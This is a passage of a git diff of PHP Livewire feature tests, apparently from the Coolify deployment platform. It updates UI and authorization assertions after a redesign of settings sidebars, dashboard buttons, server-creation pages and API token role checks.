a/tests/Feature/ApplicationGeneralBuildpackSelectorTest.php b/tests/Feature/ApplicationGeneralBuildpackSelectorTest.phpindex 54183b9300..d842d7c546 100644--- a/tests/Feature/ApplicationGeneralBuildpackSelectorTest.php+++ b/tests/Feature/ApplicationGeneralBuildpackSelectorTest.php@@ -74,9 +74,10 @@ test('existing application buildpack selector lists railpack before nixpacks', fLivewire::test(General::class, ['application' => $application])->assertSuccessful()+ // The build strategy listbox renders its options as JSON-encoded Alpine data->assertSeeInOrder([- '<option value="railpack">Railpack</option>',- '<option value="nixpacks">Nixpacks</option>',+ '\u0022value\u0022:\u0022railpack\u0022,\u0022label\u0022:\u0022Railpack\u0022',+ '\u0022value\u0022:\u0022nixpacks\u0022,\u0022label\u0022:\u0022Nixpacks\u0022',], false);});diff --git a/tests/Feature/ApplicationGitSourceButtonLayoutTest.php b/tests/Feature/ApplicationGitSourceButtonLayoutTest.phpindex 263108b044..2df5f2b76d 100644--- a/tests/Feature/ApplicationGitSourceButtonLayoutTest.php+++ b/tests/Feature/ApplicationGitSourceButtonLayoutTest.php@@ -30,18 +30,6 @@ beforeEach(function () {session(['currentTeam' => $this->team]);});-it('uses card-style git source triggers instead of plain form buttons', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/source.blade.php'));-- expect($view)- ->toContain('<x-slot:trigger>')- ->toContain('label="Current"')- ->toContain('aria-current="true"')- ->toContain('<x-git-icon')- ->toContain('rounded-xl border')- ->not->toContain('<x-slot:customButton>');-});-it('renders the current source as a selected card and alternatives as switchable cards', function () {$current = GithubApp::create(['name' => 'coolify-laravel-dev-public',diff --git a/tests/Feature/ApplicationHeadingActiveTabTest.php b/tests/Feature/ApplicationHeadingActiveTabTest.phpindex 751bfb61e1..eba38ca5e6 100644--- a/tests/Feature/ApplicationHeadingActiveTabTest.php+++ b/tests/Feature/ApplicationHeadingActiveTabTest.php@@ -68,92 +68,6 @@ beforeEach(function () {'destination_type' => $this->destination->getMorphClass(),'status' => 'running',]);-- $this->routeParams = [- 'project_uuid' => $this->project->uuid,- 'environment_uuid' => $this->environment->uuid,- 'application_uuid' => $this->application->uuid,- ];-});--/**- * Settings tab must carry both the active class and aria-current so CSS- * under .application-heading-actions can override the base tab resets.- */-function assertSettingsTabActive(string $html): void-{- expect(preg_match(- '/<a[^>]*(?:aria-current="page"[^>]*app-tab-active|app-tab-active[^>]*aria-current="page")[^>]*>\s*Settings\s*<\/a>/s',- $html- ))->toBe(1);-- // Desktop navbar CSS override must exist so active styles are visible.- $css = file_get_contents(resource_path('css/app.css'));- expect($css)- ->toContain(".application-heading-actions .app-tab[aria-current='page']")- ->toContain('.application-heading-actions .app-tab.app-tab-active');-}--it('marks settings tab active on general configuration route', function () {- $this->actingAs($this->admin);- session(['currentTeam' => $this->team]);-- $html = $this->get(route('project.application.configuration', $this->routeParams))- ->assertSuccessful()- ->getContent();-- assertSettingsTabActive($html);-});--it('marks settings tab active on webhooks and other settings sub-routes', function (string $routeName) {- $this->actingAs($this->admin);- session(['currentTeam' => $this->team]);-- $html = $this->get(route($routeName, $this->routeParams))- ->assertSuccessful()- ->getContent();-- assertSettingsTabActive($html);-})->with([- 'webhooks' => 'project.application.webhooks',- 'domains' => 'project.application.domains',- 'advanced' => 'project.application.advanced',- 'environment-variables' => 'project.application.environment-variables',- 'danger' => 'project.application.danger',-]);--it('does not mark settings tab active on deployment logs', function () {- $this->actingAs($this->admin);- session(['currentTeam' => $this->team]);-- $html = $this->get(route('project.application.deployment.index', $this->routeParams))- ->assertSuccessful()- ->getContent();-- expect($html)->toContain('Deployment');-- expect(preg_match(- '/<a[^>]*(?:aria-current="page"[^>]*app-tab-active|app-tab-active[^>]*aria-current="page")[^>]*>\s*Settings\s*<\/a>/s',- $html- ))->toBe(0);-- // Deployment now lives in the Logs section of the settings sidebar.- expect(preg_match(- '/<a[^>]*menu-item-active[^>]*>.*?Deployment.*?<\/a>/s',- $html- ))->toBe(1);-});--it('syncs activeRouteName from the page route when heading is rendered on webhooks', function () {- $this->actingAs($this->admin);- session(['currentTeam' => $this->team]);-- $html = $this->get(route('project.application.webhooks', $this->routeParams))- ->assertSuccessful()- ->assertSeeLivewire(ApplicationHeading::class)- ->getContent();-- assertSettingsTabActive($html);});it('keeps activeRouteName when request is not an application page route', function () {@@ -178,15 +92,9 @@ it('refreshes the breadcrumb application status after it changes', function () {$component->call('refreshStatus')- ->assertSee('Stopped')+ ->assertSee('Exited')->assertDontSee('Running');expect($component->instance()->getListeners())->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked", 'refreshStatus');});--it('uses app-tab-active utility for resource heading active styles', function () {- $utilities = file_get_contents(resource_path('css/utilities.css'));-- expect($utilities)->toContain('@utility app-tab-active');-});diff --git a/tests/Feature/ApplicationPreviewSettingsTest.php b/tests/Feature/ApplicationPreviewSettingsTest.phpindex a11ed783ec..9df838d763 100644--- a/tests/Feature/ApplicationPreviewSettingsTest.php+++ b/tests/Feature/ApplicationPreviewSettingsTest.php@@ -117,21 +117,6 @@ it('renders preview deployment enablement as a section action', function () {expect($this->application->fresh()->settings->is_preview_deployments_enabled)->toBeTrue();});-it('renders GitHub pull requests in a modal opened from the preview settings', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/previews.blade.php'));- $sidebar = file_get_contents(resource_path('views/components/application/configuration-sidebar.blade.php'));-- expect($view)- ->toContain('<x-modal-input title="Pull requests"')- ->toContain(':isLarge="true"')- ->toContain('wire:click="load_prs"')- ->not->toContain('id="preview-pull-requests-section"')- ->and(strpos($view, '<x-modal-input title="Pull requests"'))- ->toBeLessThan(strpos($view, '<livewire:project.application.preview.form'));-- expect($sidebar)->not->toContain("['id' => 'preview-pull-requests-section', 'label' => 'Pull requests']");-});-it('does not show git preview settings for non-git applications', function (string $buildPack, ?string $dockerfile) {$this->application->update(['build_pack' => $buildPack, 'dockerfile' => $dockerfile]);@@ -156,10 +141,3 @@ it('denies preview setting changes without application update permission', funct->is_preview_deployments_enabled->toBeFalse()->is_pr_deployments_public_enabled->toBeFalse();})->with([['member', false], ['owner', true]]);--it('removes preview settings from Advanced including its persistence path', function () {- expect(file_get_contents(resource_path('views/livewire/project/application/advanced.blade.php')))- ->not->toContain('isPreviewDeploymentsEnabled', 'isPrDeploymentsPublicEnabled');- expect(file_get_contents(app_path('Livewire/Project/Application/Advanced.php')))- ->not->toContain('is_preview_deployments_enabled', 'is_pr_deployments_public_enabled');-});diff --git a/tests/Feature/ApplicationSourceLocalhostKeyTest.php b/tests/Feature/ApplicationSourceLocalhostKeyTest.phpindex 1a38bd26e7..8b5ef44960 100644--- a/tests/Feature/ApplicationSourceLocalhostKeyTest.php+++ b/tests/Feature/ApplicationSourceLocalhostKeyTest.php@@ -37,7 +37,7 @@ uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==describe('Application Source with localhost key (id=0)', function () {test('renders deploy key section when private_key_id is 0', function () {- $privateKey = PrivateKey::create([+ $privateKey = PrivateKey::forceCreate(['id' => 0,'name' => 'localhost','private_key' => applicationSourceValidPrivateKey(),@@ -52,7 +52,8 @@ describe('Application Source with localhost key (id=0)', function () {Livewire::test(Source::class, ['application' => $application])->assertSuccessful()->assertSet('privateKeyId', 0)- ->assertSee('Deploy Key');+ ->assertSee('localhost')+ ->assertSee('Deploy key');});test('shows no source connected section when private_key_id is null', function () {@@ -64,7 +65,7 @@ describe('Application Source with localhost key (id=0)', function () {Livewire::test(Source::class, ['application' => $application])->assertSuccessful()->assertSet('privateKeyId', null)- ->assertDontSee('Deploy Key')+ ->assertDontSee('Deploy key')->assertSee('No source connected');});diff --git a/tests/Feature/ApplicationStoppedAfterRestartLimitTest.php b/tests/Feature/ApplicationStoppedAfterRestartLimitTest.phpindex f5875adb2c..02ef6ba162 100644--- a/tests/Feature/ApplicationStoppedAfterRestartLimitTest.php+++ b/tests/Feature/ApplicationStoppedAfterRestartLimitTest.php@@ -87,10 +87,9 @@ it('does not infer the restart limit from an exited existing container', functio])->stoppedAfterRestartLimit())->toBeFalse();});-it('shows a stopped after restart limit warning in the status badge', function () {- $html = view('components.status.index', [- 'resource' => applicationWithRestartState(),- 'showRefreshButton' => false,+it('shows a stopped after restart limit warning badge', function () {+ $html = view('components.application.restart-limit-warning', [+ 'application' => applicationWithRestartState(),])->render();expect($html)->toContain('Restart limit reached')@@ -99,13 +98,12 @@ it('shows a stopped after restart limit warning in the status badge', function (});it('does not show the restart limit warning for a normal manual stop', function () {- $html = view('components.status.index', [- 'resource' => applicationWithRestartState([+ $html = view('components.application.restart-limit-warning', [+ 'application' => applicationWithRestartState(['restart_count' => 0,'last_restart_type' => null,'restart_limit_reached' => false,]),- 'showRefreshButton' => false,])->render();expect($html)->not->toContain('Restart limit reached');diff --git a/tests/Feature/Auth/TwoFactorChallengeAccessTest.php b/tests/Feature/Auth/TwoFactorChallengeAccessTest.phpindex a46f6b35c8..cee82b84ac 100644--- a/tests/Feature/Auth/TwoFactorChallengeAccessTest.php+++ b/tests/Feature/Auth/TwoFactorChallengeAccessTest.php@@ -27,18 +27,6 @@ it('allows unauthenticated access to two-factor-challenge page', function () {expect($response->status())->toBeIn([200, 302]);});-it('uses one mobile-friendly field for authenticator code paste and autofill', function () {- $challenge = file_get_contents(resource_path('views/auth/two-factor-challenge.blade.php'));-- expect($challenge)- ->toContain('name="code"')- ->toContain('autocomplete="one-time-code"')- ->toContain('inputmode="numeric"')- ->toContain('maxlength="6"')- ->toContain('@input="submitAuthenticatorCode($event)"')- ->not->toContain('x-for="(digit, index) in digits"');-});-it('includes two-factor-challenge in allowed paths for unsubscribed accounts', function () {$paths = allowedPathsForUnsubscribedAccounts();diff --git a/tests/Feature/Authorization/ApiTokenPermissionTest.php b/tests/Feature/Authorization/ApiTokenPermissionTest.phpindex fe5952e1ca..e2e41d7405 100644--- a/tests/Feature/Authorization/ApiTokenPermissionTest.php+++ b/tests/Feature/Authorization/ApiTokenPermissionTest.php@@ -8,7 +8,7 @@ use Illuminate\Foundation\Testing\RefreshDatabase;uses(RefreshDatabase::class);beforeEach(function () {- InstanceSettings::updateOrCreate(['id' => 0], ['is_api_enabled' => true]);+ InstanceSettings::forceCreate(['id' => 0, 'is_api_enabled' => true]);$this->team = Team::factory()->create();$this->user = User::factory()->create();diff --git a/tests/Feature/Authorization/ApplicationConfigAuthorizationTest.php b/tests/Feature/Authorization/ApplicationConfigAuthorizationTest.phpindex 2db4a30dd3..017a865bee 100644--- a/tests/Feature/Authorization/ApplicationConfigAuthorizationTest.php+++ b/tests/Feature/Authorization/ApplicationConfigAuthorizationTest.php@@ -316,6 +316,14 @@ test('member does not see terminal link for application', function () {$this->actingAs($this->member);session(['currentTeam' => $this->team]);+ // The terminal link lives in the application settings sidebar since the resource tab bar was removed.+ $this->blade(+ '<x-application.configuration-sidebar :application="$application" current-route="project.application.configuration" />',+ ['application' => $this->application]+ )+ ->assertSee('application-settings-link-general', false)+ ->assertDontSee('application-settings-link-terminal', false);+Livewire::test(ApplicationHeading::class, ['application' => $this->application])->assertDontSee('Terminal');});@@ -324,8 +332,12 @@ test('admin sees terminal link for application', function () {$this->actingAs($this->admin);session(['currentTeam' => $this->team]);- Livewire::test(ApplicationHeading::class, ['application' => $this->application])- ->assertSee('Terminal');+ // The terminal link lives in the application settings sidebar since the resource tab bar was removed.+ $this->blade(+ '<x-application.configuration-sidebar :application="$application" current-route="project.application.configuration" />',+ ['application' => $this->application]+ )+ ->assertSee('application-settings-link-terminal', false);});// --- Cross-team isolation ---diff --git a/tests/Feature/Authorization/DashboardAuthorizationTest.php b/tests/Feature/Authorization/DashboardAuthorizationTest.phpindex 52de178a71..12c9c16efe 100644--- a/tests/Feature/Authorization/DashboardAuthorizationTest.php+++ b/tests/Feature/Authorization/DashboardAuthorizationTest.php@@ -31,9 +31,9 @@ function createProjectForTeam(Team $team): void]);}-function createServerWithKeyForTeam(Team $team): void+function createPrivateKeyForTeam(Team $team): int{- $keyId = DB::table('private_keys')->insertGetId([+ return DB::table('private_keys')->insertGetId(['uuid' => (string) Str::uuid(),'name' => 'Test Key','private_key' => 'test-key',@@ -41,14 +41,19 @@ function createServerWithKeyForTeam(Team $team): void'created_at' => now(),'updated_at' => now(),]);+}+function createServerWithKeyForTeam(Team $team): void+{Server::factory()->create(['team_id' => $team->id,- 'private_key_id' => $keyId,+ 'private_key_id' => createPrivateKeyForTeam($team),]);}-test('admin sees add project button on dashboard', function () {+// The dashboard no longer has a "New Project" button; each project card exposes an+// "Add resource" shortcut gated by the createAnyResource gate instead.+test('admin sees add resource button on dashboard projects', function () {[$user, $team] = setupDashboardUser('admin');$this->actingAs($user);@@ -57,10 +62,11 @@ test('admin sees add project button on dashboard', function () {createProjectForTeam($team);Livewire::test(Dashboard::class)- ->assertSee('New Project');+ ->assertSee('Test Project')+ ->assertSee('Add resource to Test Project');});-test('member does not see add project button on dashboard', function () {+test('member does not see add resource button on dashboard projects', function () {[$user, $team] = setupDashboardUser('member');$this->actingAs($user);@@ -69,18 +75,22 @@ test('member does not see add project button on dashboard', function () {createProjectForTeam($team);Livewire::test(Dashboard::class)+ ->assertSee('Test Project')+ ->assertDontSee('Add resource to Test Project')->assertDontSee('New Project');});+// The "New server" button is only rendered in the empty servers state (a key exists, no servers yet).test('admin sees add server button on dashboard', function () {[$user, $team] = setupDashboardUser('admin');$this->actingAs($user);session(['currentTeam' => $team]);- createServerWithKeyForTeam($team);+ createPrivateKeyForTeam($team);Livewire::test(Dashboard::class)+ ->assertSee('No servers yet')->assertSee(route('server.create'));});@@ -90,6 +100,19 @@ test('member does not see add server button on dashboard', function () {$this->actingAs($user);session(['currentTeam' => $team]);+ createPrivateKeyForTeam($team);++ Livewire::test(Dashboard::class)+ ->assertSee('No servers yet')+ ->assertDontSee(route('server.create'));+});++test('member does not see add server button on dashboard with existing servers', function () {+ [$user, $team] = setupDashboardUser('member');++ $this->actingAs($user);+ session(['currentTeam' => $team]);+createServerWithKeyForTeam($team);Livewire::test(Dashboard::class)diff --git a/tests/Feature/Authorization/DestinationOwnershipTest.php b/tests/Feature/Authorization/DestinationOwnershipTest.phpindex 1a8bf4a973..1667d4026d 100644--- a/tests/Feature/Authorization/DestinationOwnershipTest.php+++ b/tests/Feature/Authorization/DestinationOwnershipTest.php@@ -55,6 +55,10 @@ test('cross-team user cannot view destination', function () {$this->actingAs($this->userB);session(['currentTeam' => $this->teamB]);+ // Lookups are scoped to the current team, so another team's destination is+ // treated as missing: the user is redirected and no destination data is loaded.Livewire::test(Show::class, ['destination_uuid' => $this->destination->uuid])- ->assertStatus(403);+ ->assertRedirect(route('destination.index'))+ ->assertSet('destination', null)+ ->assertDontSee($this->server->ip);});diff --git a/tests/Feature/Authorization/LegacyMemberTokenTest.php b/tests/Feature/Authorization/LegacyMemberTokenTest.phpindex 2733279859..c51f827ad3 100644--- a/tests/Feature/Authorization/LegacyMemberTokenTest.php+++ b/tests/Feature/Authorization/LegacyMemberTokenTest.php@@ -8,7 +8,7 @@ use Illuminate\Foundation\Testing\RefreshDatabase;uses(RefreshDatabase::class);beforeEach(function () {- InstanceSettings::create(['id' => 0, 'is_api_enabled' => true]);+ InstanceSettings::forceCreate(['id' => 0, 'is_api_enabled' => true]);$this->team = Team::factory()->create();$this->member = User::factory()->create();@@ -28,65 +28,34 @@ function apiRequest($test, string $token, string $method = 'get', string $url =])->{$method.'Json'}($url);}+/**+ * The api.token.team middleware rejects elevated abilities on member tokens+ * before ApiAbility runs, so REST clients get its generic role message.+ */describe('member with legacy elevated token is rejected', function () {- test('member with legacy write token gets 403 with descriptive message', function () {- $token = $this->member->createToken('legacy-write', ['read', 'write']);-- $response = apiRequest($this, $token->plainTextToken);-- $response->assertStatus(403);- $response->assertJsonFragment([- 'message' => 'This API token has permissions (write) that exceed your current role as a team member. Members are restricted to read-only API access. Please revoke this token and create a new one with only read permissions.',- ]);- });-- test('member with legacy deploy token gets 403', function () {- $token = $this->member->createToken('legacy-deploy', ['read', 'deploy']);+ test('member with legacy elevated token gets 403', function (array $abilities) {+ $token = $this->member->createToken('legacy-elevated', $abilities);$response = apiRequest($this, $token->plainTextToken);$response->assertStatus(403);- $response->assertSee('deploy');- $response->assertSee('revoke this token');- });-- test('member with legacy root token gets 403', function () {- $token = $this->member->createToken('legacy-root', ['root']);-- $response = apiRequest($this, $token->plainTextToken);-- $response->assertStatus(403);- $response->assertSee('root');- });-- test('member with legacy read:sensitive token gets 403', function () {- $token = $this->member->createToken('legacy-sensitive', ['read', 'read:sensitive']);-- $response = apiRequest($this, $token->plainTextToken);-- $response->assertStatus(403);- $response->assertSee('read:sensitive');- });-- test('member with legacy write:sensitive token gets 403', function () {- $token = $this->member->createToken('legacy-ws', ['read', 'write:sensitive']);-- $response = apiRequest($this, $token->plainTextToken);-- $response->assertStatus(403);- $response->assertSee('write:sensitive');- });-- test('member with multiple disallowed abilities lists them all', function () {- $token = $this->member->createToken('legacy-multi', ['read', 'write', 'deploy', 'read:sensitive']);+ $response->assertExactJson(['message' => 'Missing required team role.']);+ })->with([+ 'write' => [['read', 'write']],+ 'deploy' => [['read', 'deploy']],+ 'root' => [['root']],+ 'read:sensitive' => [['read', 'read:sensitive']],+ 'write:sensitive' => [['read', 'write:sensitive']],+ 'multiple' => [['read', 'write', 'deploy', 'read:sensitive']],+ ]);++ test('member with legacy elevated token cannot reach a write endpoint', function () {+ $token = $this->member->createToken('legacy-write', ['read', 'write']);- $response = apiRequest($this, $token->plainTextToken);+ $response = apiRequest($this, $token->plainTextToken, 'patch', '/api/v1/team');$response->assertStatus(403);- $json = $response->json();- expect($json['message'])->toContain('write');- expect($json['message'])->toContain('deploy');- expect($json['message'])->toContain('read:sensitive');+ $response->assertExactJson(['message' => 'Missing required team role.']);});});diff --git a/tests/Feature/Authorization/ResourceHeadingAuthorizationTest.php b/tests/Feature/Authorization/ResourceHeadingAuthorizationTest.phpindex 03f11c22f5..229848220a 100644--- a/tests/Feature/Authorization/ResourceHeadingAuthorizationTest.php+++ b/tests/Feature/Authorization/ResourceHeadingAuthorizationTest.php@@ -19,7 +19,7 @@ use Livewire\Livewire;uses(RefreshDatabase::class);beforeEach(function () {- InstanceSettings::updateOrCreate(['id' => 0]);+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0], ['id' => 0]));$this->team = Team::factory()->create();@@ -110,7 +110,7 @@ test('admin sees deploy controls for application', function () {session(['currentTeam' => $this->team]);Livewire::test(ApplicationHeading::class, ['application' => $this->application])- ->assertSee('Redeploy')+ ->assertSee('Deploy')->assertSee('Restart')->assertSee('Stop');});@@ -148,14 +148,25 @@ test('member does not see terminal link for application', function () {Livewire::test(ApplicationHeading::class, ['application' => $this->application])->assertDontSee('Terminal');++ // The terminal link lives in the application settings sidebar since the resource tab bar was removed.+ $this->blade(+ '<x-application.configuration-sidebar :application="$application" current-route="project.application.configuration" />',+ ['application' => $this->application]+ )+ ->assertSee('application-settings-link-general', false)+ ->assertDontSee('application-settings-link-terminal', false);});test('admin sees terminal link for application', function () {$this->actingAs($this->admin);session(['currentTeam' => $this->team]);- Livewire::test(ApplicationHeading::class, ['application' => $this->application])- ->assertSee('Terminal');+ $this->blade(+ '<x-application.configuration-sidebar :application="$application" current-route="project.application.configuration" />',+ ['application' => $this->application]+ )+ ->assertSee('application-settings-link-terminal', false);});// --- Database Heading (via page route for rendering, policy checks for actions) ---@@ -233,16 +244,24 @@ test('member does not see terminal link for service', function () {'query' => [],])->assertDontSee('Terminal');++ // The terminal link lives in the service settings sidebar since the resource tab bar was removed.+ $this->blade(+ '<x-service.configuration-sidebar :service="$service" current-route="project.service.configuration" />',+ ['service' => $this->service]+ )+ ->assertSee(route('project.service.configuration', $this->serviceParams), false)+ ->assertDontSee(route('project.service.command', $this->serviceParams), false);});test('admin sees terminal link for service', function () {$this->actingAs($this->admin);session(['currentTeam' => $this->team]);- Livewire::test(ServiceHeading::class, [- 'service' => $this->service,- 'parameters' => $this->serviceParams,- 'query' => [],- ])+ $this->blade(+ '<x-service.configuration-sidebar :service="$service" current-route="project.service.configuration" />',+ ['service' => $this->service]+ )+ ->assertSee(route('project.service.command', $this->serviceParams), false)->assertSee('Terminal');});diff --git a/tests/Feature/Authorization/SecurityPageAuthorizationTest.php b/tests/Feature/Authorization/SecurityPageAuthorizationTest.phpindex 7faaf83d1f..abfbc813a3 100644--- a/tests/Feature/Authorization/SecurityPageAuthorizationTest.php+++ b/tests/Feature/Authorization/SecurityPageAuthorizationTest.php@@ -48,8 +48,9 @@ test('admin sees add and cleanup buttons on private key page', function () {session(['currentTeam' => $this->team]);Livewire::test(PrivateKeyIndex::class)- ->assertSee('+ Add')- ->assertSee('Delete unused SSH Keys');+ ->assertSee('New private key')+ ->assertSee('Generate ED25519')+ ->assertSee('Delete unused keys');});test('member does not see add or cleanup buttons on private key page', function () {@@ -57,8 +58,10 @@ test('member does not see add or cleanup buttons on private key page', functionsession(['currentTeam' => $this->team]);Livewire::test(PrivateKeyIndex::class)- ->assertDontSee('+ Add')- ->assertDontSee('Delete unused SSH Keys');+ ->assertSee('Team SSH Key')+ ->assertDontSee('New private key')+ ->assertDontSee('Generate ED25519')+ ->assertDontSee('Delete unused keys');});test('member can view private key names on index page', function () {@@ -87,7 +90,7 @@ test('admin sees invite section on team members page', function () {session(['currentTeam' => $this->team]);Livewire::test(TeamMemberIndex::class)- ->assertSee('Invite New Member');+ ->assertSee('Invite a member');});test('member does not see invite section on team members page', function () {@@ -95,7 +98,7 @@ test('member does not see invite section on team members page', function () {session(['currentTeam' => $this->team]);Livewire::test(TeamMemberIndex::class)- ->assertDontSee('Invite New Member');+ ->assertDontSee('Invite a member');});// --- Notification Settings (Discord as representative) ---diff --git a/tests/Feature/Authorization/ServerAuthorizationTest.php b/tests/Feature/Authorization/ServerAuthorizationTest.phpindex 353c6a687d..e924be5fa6 100644--- a/tests/Feature/Authorization/ServerAuthorizationTest.php+++ b/tests/Feature/Authorization/ServerAuthorizationTest.php@@ -188,7 +188,7 @@ test('new server chooser lists providers before rendering a creation form', func->assertSee('Hetzner')->assertSee('Vultr')->assertSee('DigitalOcean')- ->assertSee('Manual')+ ->assertSee('IP address or domain')->assertDontSee('>Select<', false)->assertDontSee('Continue')->assertSee(route('server.create.type', ['type' => 'hetzner']))@@ -203,19 +203,13 @@ test('new server chooser uses compact mobile provider cards', function () {session(['currentTeam' => $this->team]);Livewire::test(ServerCreate::class)- ->assertSee('mx-auto flex w-full max-w-7xl flex-col', false)- ->assertSee('sm:grid', false)- ->assertSee('sm:grid-cols-2', false)- ->assertSee('xl:grid-cols-4', false)- ->assertSee('gap-3 sm:gap-6', false)- ->assertSee('dark:hover:border-warning', false)- ->assertSee('focus-visible:border-coollabs', false)- ->assertSee('aria-label="Choose Hetzner"', false)- ->assertSee('p-3 sm:p-6', false)+ ->assertSee('application-settings-form flex flex-col gap-6', false)+ ->assertSee('grid grid-cols-1 gap-3 p-3 sm:grid-cols-2 lg:grid-cols-4', false)+ ->assertSee('grid grid-cols-1 gap-3 p-3 sm:grid-cols-2 lg:grid-cols-3', false)+ ->assertSee('group flex min-h-32 flex-col rounded-xl', false)+ ->assertSee('alt="Hetzner" class="size-8"', false)->assertDontSee('sm:min-h-80', false)- ->assertSee('size-9 sm:size-14', false)->assertDontSee('size-9 sm:size-14 w-14 h-14', false)- ->assertSee('hidden sm:block', false)->assertDontSee('>Select<', false)->assertDontSee('<button', false);});@@ -230,12 +224,12 @@ test('new server provider pages render the selected creation flow', function (st->assertDontSee('<h1>New Server</h1>', false)->assertDontSee('Choose how to add your server');- $response->assertSeeInOrder([$heading, 'Back']);+ $response->assertSeeInOrder(['New server', 'Change method', $heading]);})->with([- ['hetzner', 'Hetzner'],- ['vultr', 'Vultr'],- ['digital-ocean', 'DigitalOcean'],- ['manual', 'Manual'],+ ['hetzner', 'Hetzner account'],+ ['vultr', 'Vultr account'],+ ['digital-ocean', 'DigitalOcean account'],+ ['manual', 'Connect a server'],]);test('new server provider pages do not show the new token action in the header', function (string $type, string $heading) {@@ -247,27 +241,39 @@ test('new server provider pages do not show the new token action in the header',->assertDontSee('+ New Token')->assertDontSee('+ Add New Token');- $response->assertSeeInOrder([$heading, 'Back']);+ $header = str($response->getContent())+ ->after('New server</h1>')+ ->before('application-settings-form')+ ->toString();++ expect($header)+ ->toContain('Change method')+ ->not->toContain('Token');++ // Without tokens, the add-token action lives in the provider account section instead.+ $response->assertSeeInOrder(['Change method', "{$heading} account", "No {$heading} tokens", "Add {$heading} Token"]);})->with([['hetzner', 'Hetzner'],['vultr', 'Vultr'],['digital-ocean', 'DigitalOcean'],]);-test('new server provider pages show the new token action in the header when tokens exist', function (string $type, string $provider, string $heading, string $modalTitle) {+test('new server provider pages list existing tokens instead of a token action', function (string $type, string $provider, string $heading, string $modalTitle) {$this->actingAs($this->admin);session(['currentTeam' => $this->team]);- CloudProviderToken::factory()->create([+ $token = CloudProviderToken::factory()->create(['team_id' => $this->team->id,'provider' => $provider,]);$response = $this->get(route('server.create.type', ['type' => $type]))->assertSuccessful()- ->assertSee($modalTitle);+ ->assertSee(route('server.create.token', ['type' => $type, 'token_uuid' => $token->uuid]))+ ->assertDontSee($modalTitle)+ ->assertDontSee('+ New Token');- $response->assertSeeInOrder([$heading, 'Back', '+ New Token']);+ $response->assertSeeInOrder(['Change method', "{$heading} account", $token->name]);})->with([['hetzner', 'hetzner', 'Hetzner', 'Add Hetzner Token'],['vultr', 'vultr', 'Vultr', 'Add Vultr Token'],@@ -280,8 +286,9 @@ test('new server manual page does not show the new token action', function () {$this->get(route('server.create.type', ['type' => 'manual']))->assertSuccessful()- ->assertSee('Manual')- ->assertDontSee('+ New Token');+ ->assertSee('Connect a server')+ ->assertDontSee('+ New Token')+ ->assertDontSee('Add token');});test('member cannot access new server page', function () {diff --git a/tests/Feature/Authorization/ServiceConfigAuthorizationTest.php b/tests/Feature/Authorization/ServiceConfigAuthorizationTest.phpindex ab5c123765..2d37fd00d9 100644--- a/tests/Feature/Authorization/ServiceConfigAuthorizationTest.php+++ b/tests/Feature/Authorization/ServiceConfigAuthorizationTest.php@@ -16,7 +16,9 @@ use Livewire\Livewire;uses(RefreshDatabase::class);beforeEach(function () {- InstanceSettings::updateOrCreate(['id' => 0]);+ InstanceSettings::unguarded(function () {+ InstanceSettings::updateOrCreate(['id' => 0], []);+ });$this->team = Team::factory()->create();@@ -197,17 +199,26 @@ test('member does not see terminal link for service', function () {'query' => [],])->assertDontSee('Terminal');++ // The terminal link lives in the service settings sidebar since the resource tab bar was removed.+ $this->blade(+ '<x-service.configuration-sidebar :service="$service" current-route="project.service.configuration" />',+ ['service' => $this->service]+ )+ ->assertSee(route('project.service.configuration', $this->serviceParams), false)+ ->assertDontSee(route('project.service.command', $this->serviceParams), false);});test('admin sees terminal link for service', function () {$this->actingAs($this->admin);session(['currentTeam' => $this->team]);- Livewire::test(ServiceHeading::class, [- 'service' => $this->service,- 'parameters' => $this->serviceParams,- 'query' => [],- ])+ // The terminal link lives in the service settings sidebar since the resource tab bar was removed.+ $this->blade(+ '<x-service.configuration-sidebar :service="$service" current-route="project.service.configuration" />',+ ['service' => $this->service]+ )+ ->assertSee(route('project.service.command', $this->serviceParams), false)->assertSee('Terminal');});diff --git a/tests/Feature/Authorization/SharedResourceAuthorizationTest.php b/tests/Feature/Authorization/SharedResourceAuthorizationTest.phpindex 57e46c4183..dfa45d7839 100644--- a/tests/Feature/Authorization/SharedResourceAuthorizationTest.php+++ b/tests/Feature/Authorization/SharedResourceAuthorizationTest.php@@ -185,7 +185,7 @@ test('member cannot view application webhook secrets', function () {->assertSet('gitlabManualWebhookSecret', null)->assertSet('bitbucketManualWebhookSecret', null)->assertSet('giteaManualWebhookSecret', null)- ->assertSee('Hidden (only admins can view)')+ ->assertSee('Hidden (only administrators can view)')->assertDontSee('github-secret-value')->assertDontSee('gitlab-secret-value')->assertDontSee('bitbucket-secret-value')diff --git a/tests/Feature/BackupEditValidationTest.php b/tests/Feature/BackupEditValidationTest.phpindex f17d25add8..ab6d442483 100644--- a/tests/Feature/BackupEditValidationTest.php+++ b/tests/Feature/BackupEditValidationTest.php@@ -76,20 +76,6 @@ beforeEach(function () {session(['currentTeam' => $this->team]);});-it('renders a highlighted enable backup button and a regular disable backup button', function () {- $view = file_get_contents(resource_path('views/livewire/project/database/backup-edit/general.blade.php'));- $s3View = file_get_contents(resource_path('views/livewire/project/database/backup-edit/s3.blade.php'));-- expect($view)- ->toContain('wire:target="toggleEnabled" isHighlighted>Enable Backup</x-forms.button>')- ->toContain('wire:target="toggleEnabled">Disable Backup</x-forms.button>')- ->not->toContain('label="Backup Enabled"')- ->and($s3View)- ->toContain('wire:target="toggleS3" isHighlighted')- ->toContain('wire:target="toggleS3">Disable S3</x-forms.button>')- ->not->toContain('label="S3 Enabled"');-});-it('enables and disables S3 backups from the S3 title action', function () {$s3 = createS3StorageForBackupEditValidationTest($this->team);$backup = createBackupForEditValidationTest($this->team, [@@ -129,11 +115,11 @@ it('shows and saves S3 retention while S3 backups are disabled', function () {]);Livewire::test(BackupEdit::class, [- 'backup' => $backup,+ 'backup' => $backup->fresh(),'availableS3Storages' => $this->team->s3s,'section' => 'retention',])- ->assertSee('S3 Storage Retention')+ ->assertSee('S3 backups')->set('databaseBackupRetentionAmountS3', 12)->set('databaseBackupRetentionDaysS3', 30)->set('databaseBackupRetentionMaxStorageS3', 4.5)@@ -161,55 +147,49 @@ it('splits standalone database backup settings and executions across dedicated u$this->get($generalUrl)->assertOk()->assertSee('General')- ->assertSee('S3')+ ->assertSee('S3 storage')->assertSee('Retention')->assertSee('Executions')->assertSee('Danger 